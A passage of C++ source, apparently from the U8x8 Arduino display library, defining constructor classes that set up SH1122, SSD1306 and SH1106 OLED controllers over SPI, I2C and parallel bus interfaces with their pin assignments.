u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1122_256X64_3W_SW_SPI : public U8X8 { public: U8X8_SH1122_256X64_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1122_256x64, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SH1122_256X64_3W_HW_SPI : public U8X8 { public: U8X8_SH1122_256X64_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1122_256x64, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SH1122_256X64_6800 : public U8X8 { public: U8X8_SH1122_256X64_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1122_256x64, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1122_256X64_8080 : public U8X8 { public: U8X8_SH1122_256X64_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1122_256x64, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1122_256X64_SW_I2C : public U8X8 { public: U8X8_SH1122_256X64_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1122_256x64, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SH1122_256X64_HW_I2C : public U8X8 { public: U8X8_SH1122_256X64_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1122_256x64, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SH1122_256X64_2ND_HW_I2C : public U8X8 { public: U8X8_SH1122_256X64_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1122_256x64, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1306_128X32_UNIVISION_4W_SW_SPI : public U8X8 { public: U8X8_SSD1306_128X32_UNIVISION_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_univision, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1306_128X32_UNIVISION_4W_HW_SPI : public U8X8 { public: U8X8_SSD1306_128X32_UNIVISION_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_univision, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1306_128X32_UNIVISION_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1306_128X32_UNIVISION_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_univision, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1306_128X32_UNIVISION_3W_SW_SPI : public U8X8 { public: U8X8_SSD1306_128X32_UNIVISION_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_univision, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1306_128X32_UNIVISION_3W_HW_SPI : public U8X8 { public: U8X8_SSD1306_128X32_UNIVISION_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_univision, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1306_128X32_UNIVISION_6800 : public U8X8 { public: U8X8_SSD1306_128X32_UNIVISION_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_univision, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1306_128X32_UNIVISION_8080 : public U8X8 { public: U8X8_SSD1306_128X32_UNIVISION_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_univision, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1306_128X32_WINSTAR_4W_SW_SPI : public U8X8 { public: U8X8_SSD1306_128X32_WINSTAR_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_winstar, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1306_128X32_WINSTAR_4W_HW_SPI : public U8X8 { public: U8X8_SSD1306_128X32_WINSTAR_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_winstar, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1306_128X32_WINSTAR_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1306_128X32_WINSTAR_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_winstar, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1306_128X32_WINSTAR_3W_SW_SPI : public U8X8 { public: U8X8_SSD1306_128X32_WINSTAR_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_winstar, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1306_128X32_WINSTAR_3W_HW_SPI : public U8X8 { public: U8X8_SSD1306_128X32_WINSTAR_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_winstar, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1306_128X32_WINSTAR_6800 : public U8X8 { public: U8X8_SSD1306_128X32_WINSTAR_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_winstar, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1306_128X32_WINSTAR_8080 : public U8X8 { public: U8X8_SSD1306_128X32_WINSTAR_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_winstar, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1306_128X32_UNIVISION_SW_I2C : public U8X8 { public: U8X8_SSD1306_128X32_UNIVISION_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_univision, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1306_128X32_UNIVISION_HW_I2C : public U8X8 { public: U8X8_SSD1306_128X32_UNIVISION_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_univision, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1306_128X32_UNIVISION_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1306_128X32_UNIVISION_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_univision, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1306_128X32_WINSTAR_SW_I2C : public U8X8 { public: U8X8_SSD1306_128X32_WINSTAR_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_winstar, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1306_128X32_WINSTAR_HW_I2C : public U8X8 { public: U8X8_SSD1306_128X32_WINSTAR_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_winstar, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1306_128X32_WINSTAR_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1306_128X32_WINSTAR_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_winstar, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1306_102X64_EA_OLEDS102_4W_SW_SPI : public U8X8 { public: U8X8_SSD1306_102X64_EA_OLEDS102_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_102x64_ea_oleds102, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1306_102X64_EA_OLEDS102_4W_HW_SPI : public U8X8 { public: U8X8_SSD1306_102X64_EA_OLEDS102_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_102x64_ea_oleds102, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1306_102X64_EA_OLEDS102_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1306_102X64_EA_OLEDS102_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_102x64_ea_oleds102, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1306_102X64_EA_OLEDS102_3W_SW_SPI : public U8X8 { public: U8X8_SSD1306_102X64_EA_OLEDS102_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_102x64_ea_oleds102, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1306_102X64_EA_OLEDS102_3W_HW_SPI : public U8X8 { public: U8X8_SSD1306_102X64_EA_OLEDS102_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_102x64_ea_oleds102, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1306_102X64_EA_OLEDS102_6800 : public U8X8 { public: U8X8_SSD1306_102X64_EA_OLEDS102_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_102x64_ea_oleds102, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1306_102X64_EA_OLEDS102_8080 : public U8X8 { public: U8X8_SSD1306_102X64_EA_OLEDS102_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_102x64_ea_oleds102, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1306_102X64_EA_OLEDS102_SW_I2C : public U8X8 { public: U8X8_SSD1306_102X64_EA_OLEDS102_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_102x64_ea_oleds102, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1306_102X64_EA_OLEDS102_HW_I2C : public U8X8 { public: U8X8_SSD1306_102X64_EA_OLEDS102_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_102x64_ea_oleds102, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1306_102X64_EA_OLEDS102_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1306_102X64_EA_OLEDS102_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_102x64_ea_oleds102, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SH1106_128X32_VISIONOX_4W_SW_SPI : public U8X8 { public: U8X8_SH1106_128X32_VISIONOX_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x32_visionox, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SH1106_128X32_VISIONOX_4W_HW_SPI : public U8X8 { public: U8X8_SH1106_128X32_VISIONOX_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x32_visionox, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1106_128X32_VISIONOX_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SH1106_128X32_VISIONOX_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x32_visionox, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1106_128X32_VISIONOX_3W_SW_SPI : public U8X8 { public: U8X8_SH1106_128X32_VISIONOX_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x32_visionox, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SH1106_128X32_VISIONOX_3W_HW_SPI : public U8X8 { public: U8X8_SH1106_128X32_VISIONOX_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x32_visionox, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SH1106_128X32_VISIONOX_6800 : public U8X8 { public: U8X8_SH1106_128X32_VISIONOX_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x32_visionox, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1106_128X32_VISIONOX_8080 : public U8X8 { public: U8X8_SH1106_128X32_VISIONOX_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x32_visionox, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1106_128X32_VISIONOX_SW_I2C : public U8X8 { public: U8X8_SH1106_128X32_VISIONOX_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x32_visionox, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SH1106_128X32_VISIONOX_HW_I2C : public U8X8 { public: U8X8_SH1106_128X32_VISIONOX_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x32_visionox, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SH1106_128X32_VISIONOX_2ND_HW_I2C : public U8X8 { public: U8X8_SH1106_128X32_VISIONOX_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x32_visionox, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1306_64X48_ER_4W_SW_SPI : public U8X8 { public: U8X8_SSD1306_64X48_ER_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x48_er, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1306_64X48_ER_4W_HW_SPI : public U8X8 { public: U8X8_SSD1306_64X48_ER_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x48_er, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1306_64X48_ER_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1306_64X48_ER_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x48_er, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1306_64X48_ER_3W_SW_SPI : public U8X8 { public: U8X8_SSD1306_64X48_ER_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x48_er, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1306_64X48_ER_3W_HW_SPI : public U8X8 { public: U8X8_SSD1306_64X48_ER_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x48_er, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1306_64X48_ER_6800 : public U8X8 { public: U8X8_SSD1306_64X48_ER_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x48_er, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1306_64X48_ER_8080 : public U8X8 { public: U8X8_SSD1306_64X48_ER_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x48_er, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1306_64X48_ER_SW_I2C : public U8X8 { public: U8X8_SSD1306_64X48_ER_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x48_er, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1306_64X48_ER_HW_I2C : public U8X8 { public: U8X8_SSD1306_64X48_ER_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x48_er, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1306_64X48_ER_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1306_64X48_ER_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x48_er, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; 